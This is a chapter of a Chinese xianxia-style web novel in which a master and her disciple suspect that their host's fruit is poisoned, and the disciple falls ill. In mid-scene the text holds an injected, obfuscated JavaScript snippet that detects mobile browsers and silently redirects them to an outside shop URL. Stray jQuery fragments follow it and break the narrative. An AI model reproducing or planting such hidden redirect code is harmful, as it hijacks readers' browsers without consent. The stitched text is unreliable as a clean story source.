“咔嚓。”
长生咬下最后一口果肉,嚼碎咽下,将手中的果核丢在旁边的大树下,朝云朵伸手:“师父,吃完了。”
“这都第三个了,你还没吃饱?”云朵虽然嘴上惊讶于长生的饭量,但手还是从储物袋中掏出一个红彤彤的果子递过去。
长生接过,咬了一大口,边嚼边说:“没办法啊……果子不顶饱……我好想吃肉啊……”
云朵耸耸肩,摊手道:“喏,这边这么多动物呢,你随便抱走一只烤了吃去吧。”
长生看着不远处打作一团的动物们,缩了缩脖子,道:“这……还是算了。这里的动物太邪门了,我怕吃了对我影响不好。”
二人在这看了半天戏,也没看出哪方占优,双方实力相当,每当其中一方稍有优势,另一方便会在很快时间内反扑回来。
“这是在干什么!”
云朵和长生看得百无聊赖之际,一声呵斥在树林中炸响。
云朵冷哼一声:“哦,终于是来了。”
话音落下,只见许知然失了平日里的淡定模样,一脸怒容地冲向动物堆里。那群动物像是怕他怕得厉害,一见他来,也顾不上打架的事了,一哄而散,飞的飞,跑的跑,很快就都不见踪影。
眼前的场景堪称奇妙,云朵不禁笑出了声:“还得是许先生,我们在这里劝了半天架都没有用,许先生一来,它们瞬间就达成了一致。”
长生默默地看了云朵一眼,没有出声。
劝了半天架?不是看了半天戏吗?还有,这两拨动物达成什么一致了?一致逃跑是吧?
许知然大概平日里很少有这么大的运动量,缓了半天,终于喘匀了气,道:“云姑娘说笑了,这两群畜生向来如此,动不动就要打作一团。我以前也视图劝架,后来发现,它们的相处方式就是这样,实际上关系好得很!”
“这样啊,那看来是我们孤陋寡闻了。”云朵显然半个字都不相信,但也懒得反驳。
许知然眼珠一转,看见了长生手中拿着的啃了一半的果子,一拍脑门,道:“哎呀,瞧我这脑子,已经到饭点了,二位应该饿了吧?二位要不要去我家,我弄几个菜,稍微垫垫肚子?”
这顿饭依然是四菜一汤,荤素搭配。
长生看着盘子里的肉,回想起他每次打猎都是铩羽而归,又想起刚刚那诡异的景象,忍不住问道:“许先生,您每次都是怎么打猎的呀?”
许知然对他的问题并不意外,微笑答道:“我并没有打猎,我的先祖在很多年前便与它们做了交易,我们世代守护这片土地,供它们生活,而当我们需要肉类时,它们不能拒绝。”
这个解释让长生更混乱了:“您、您是说,这些动物真的听得懂人话?您跟它们能靠说话来沟通??”
听了长生的话,许知然的脸上露出了苦恼的表情,像是在思考怎么给他解释清楚。
云朵用筷子不轻不重地敲了一下长生的头,斥道:“年纪不大,问题不少。好好吃饭,听没听说过食不言寝不语啊?”
长生缩了缩脖子,一脸委屈地把注意力放回碗里。但经过刚才一番对话,他已经觉得眼前的肉难以入口了,勉强塞了两块,就嚷嚷吃饱了。云朵本来就是意思意思吃几口菜,见长生想走了,也就顺势而为,向许知然告辞。
-----------------
第四天,许知然照例热心地邀请她们共同用餐。饭桌上,云朵发现自许安之来找过她们后,便没再现身过,于是问道:“许先生,这两天没有见到许公子,他去哪儿了?”
许知然夹菜的手顿住了。在一阵不自然的沉默后,他低声道:“他有点事,出远门了。”
“哦……”
他这么回答,那事情就肯定不是这样,只不过她们也找不到其他线索了。
之后的几天,云朵和长生一切照常。每天早晨,云朵陪着长生做完日常训练,二人便开始在附近调查可能与岳沉舟有关的线索,又在每天太阳落山之后,空着双手归来。
云朵总是能隐隐感觉到这附近有什么奇怪的东西,甚至放出了解忧帮忙找,却依然像雾里探花,找不到正确的方向。
又一次见她们垂头丧气地回来,许知然终于在她们落座后忍不住问:“二位是在找什么?不知是否方便告诉我,说不定我能帮上忙?”
云朵原本觉得这人行为举止处处透着诡异,实在可疑,所以一直没有跟他透露过她们二人来此的目的。但这么多天的搜寻一无所获,搞得她也生出了死马当活马医的心态,于是说道:“我们其实在寻找一柄剑。”
许知然:“一柄剑?”
云朵点点头,继续说:“对,一柄通体漆黑、剑刃银白的重剑,五尺余长,剑身大约五指宽。不知许先生在外出时,是否见过这样一柄剑?”
许知然捋着胡子思考了片刻,摇摇头,遗憾地说:“虽然我很想帮你们,可惜这附近一向荒无人烟,未曾见过这样一柄威风凛凛的大剑。”
云朵虽然早已料到结果,还是叹了口气:“我想也是,我们原本就是循着此剑主人的踪迹误入此处,现在看来,他大概只是曾经从附近路过。既然这里没有他的踪迹,我们也实在不好继续叨扰了。”
说完,她伸手拍了拍长生的肩膀,道:“长生,咱们今晚回屋收拾一下行李,再打扫一下屋子,明早便启程吧。”
长生从碗里抬起头,还有点懵:“啊?……哦,好呀。”
许知然有些诧异:“这么急吗?要不再多留两天?”
云朵摇头:“我们已经在这里停留很久了,身负要务,不敢再耽搁了。”
许知然:“好吧,既然云姑娘这么说,我也不好再强留你们了。对了,最近我种的果树结出了果子,今天你们回来之前我正好摘了几个,你们要不要尝尝?”接着,不等云朵和长生说话,便急匆匆地冲进厨房。一阵锅碗瓢盆的碰撞声后,许知然端着一盘红彤彤的果子走了出来。
“来,尝尝,应该熟得差不多了。”许知然将那盘果子放在二人面前,站直了身体,目光望向窗外,“可惜安之不在,不能第一时间尝到喽!”
云朵和长生各拿起一个果子,一口咬下去,汁水甘甜,果香清新。
“好甜!好吃!”长生三口并做两口吃完了一个,伸手又要去盘子里再拿一个,结果被云朵“啪”一下拍开了手。
“徒儿啊,你是不是忘了,你吃多了果子会闹肚子?晚上再疼的睡不着觉可不要来找我哭啊!”
长生委屈巴巴,但不敢说话,只得默默缩回了手。
许知然劝道:“我那里有治胃痛的药,拿给你们一些?这果子确实不错,我在这里生活了这么多年,也是头回收获这么好吃的果子,长生喜欢就让他多吃几个吧。”
云朵笑着拒绝道:“是药三分毒,长生还在长身体呢,还是别随便吃药了吧。您的好意我们心领了,以后要是有机会路过这里,再让长生吃个够。”
说完,她拉着长生跟许知然告别,回到了住处。
关严了门,又贴好了静音符,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062212|195068||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
长生才开口问:“师父,你是觉得他给的果子有问题?”
云朵道:“其实我不能确定,但是你看咱们一说要走,他就端出来那盘果子,怎么之前不拿出来呢?还使劲劝你多吃几个,很可疑啊。”
长生大惊:“那、那我吃了一个,不会有事吧?”
云朵上下打量了他一遍,没看出什么问题,又拉过他的手腕号了脉,脉象平稳,没有异样。
“现在看来是没什么问题,可以再观察观察。你要是感到有什么不对劲的地方,赶紧告诉我。”她松开了长生的手,自言自语道,“希望只是我疑心病犯了吧。”
半夜,云朵虽然在屋子周围布下了防御阵法,却依旧养成了浅眠的习惯。所以当她感觉到有人悄悄来到她身边时,立马惊醒了。
“师父……”
“长生?”云朵从床上坐起来,借着从窗口透进来的月光,她看见长生站在离床两步的位置。
由于他背着光,云朵看不清他脸上的表情,但长生不会无缘无故地半夜不睡觉,跑到她跟前来唤她。
“怎么了?是身体不舒服吗?”云朵问道。
“嗯……”长生点了点头,用一只手捂着额头,有气无力地说,“我觉得头晕,身上也没有力气。”
云朵听他这么说,吓得一骨碌爬了起来,伸手试了试他额头的温度,非但不热,反而有些凉,不是发烧。
她又探了长生的脉,发现脉象时急时缓,毫无规律。
长生的脉象显然是不正常的。云朵咬着后槽牙,只恨她当初没有跟着夏南烛多学习一些医药方面的知识,不然也不会在面对这种情况时,束手无策。
长生应该是真的很难受,完全失去了平时的活泼,只垂着眼睛,只在云朵问他的时候回答一两个字。
这样下去不是办法,长生的情况若是一直找不到解决的办法,不知道会导致何种后果。
“长生,接下来我会把一股灵力送进你的经脉,探知一下你身体的状况。这个过程可能有些难受,你忍一下。”
长生有气无力地点点头,乖乖转过了身。云朵将右手手掌贴在他后背,离心脉最近的位置。随后闭上眼,将灵力捏塑成丝线,引导着它从右手掌心钻入长生的经脉中,在其中穿梭。她也是第一次尝试这种事,要操控灵力不断游移,又要小心翼翼地不要弄伤长生的经脉,每一次动作都得小心翼翼,如履薄冰。
半盏茶后,云朵终于长出一口气,睁开双眼,收回了贴在长生背上的手,擦了擦脑门上的汗。
“可以了。”她绕到长生面前,见长生掀开眼皮,静静看着她,那眼神分明是在问:
我到底出了什么问题?
关于这点,云朵也有些迟疑,因为她得出的答案实在是有些离奇。
她斟酌了一下用词,尽量用长生能听懂的方式表达:“简单来说,你的魂魄有些不稳,有离体的趋势。”
饶是长生再难受,再没精神,听到云朵的话后,也禁不住瞪大了双眼。
“师父,我会死吗……?”
看在他目前是个病号,还是重病号的份上,云朵忍住了敲他头的冲动,语重心长地说:“长生啊,你师父我还在这呢,我在你眼里这么不靠谱吗?”
长生缓缓摇头:“我不是那个意思……只是听你说的很吓人……我还以为……”
云朵推着他走,让他躺在床上,用手盖住他的双眼,道:“放心,待会你就闭上眼,全当睡一觉。我保证,等你醒过来以后,就又变得活蹦乱跳的啦!”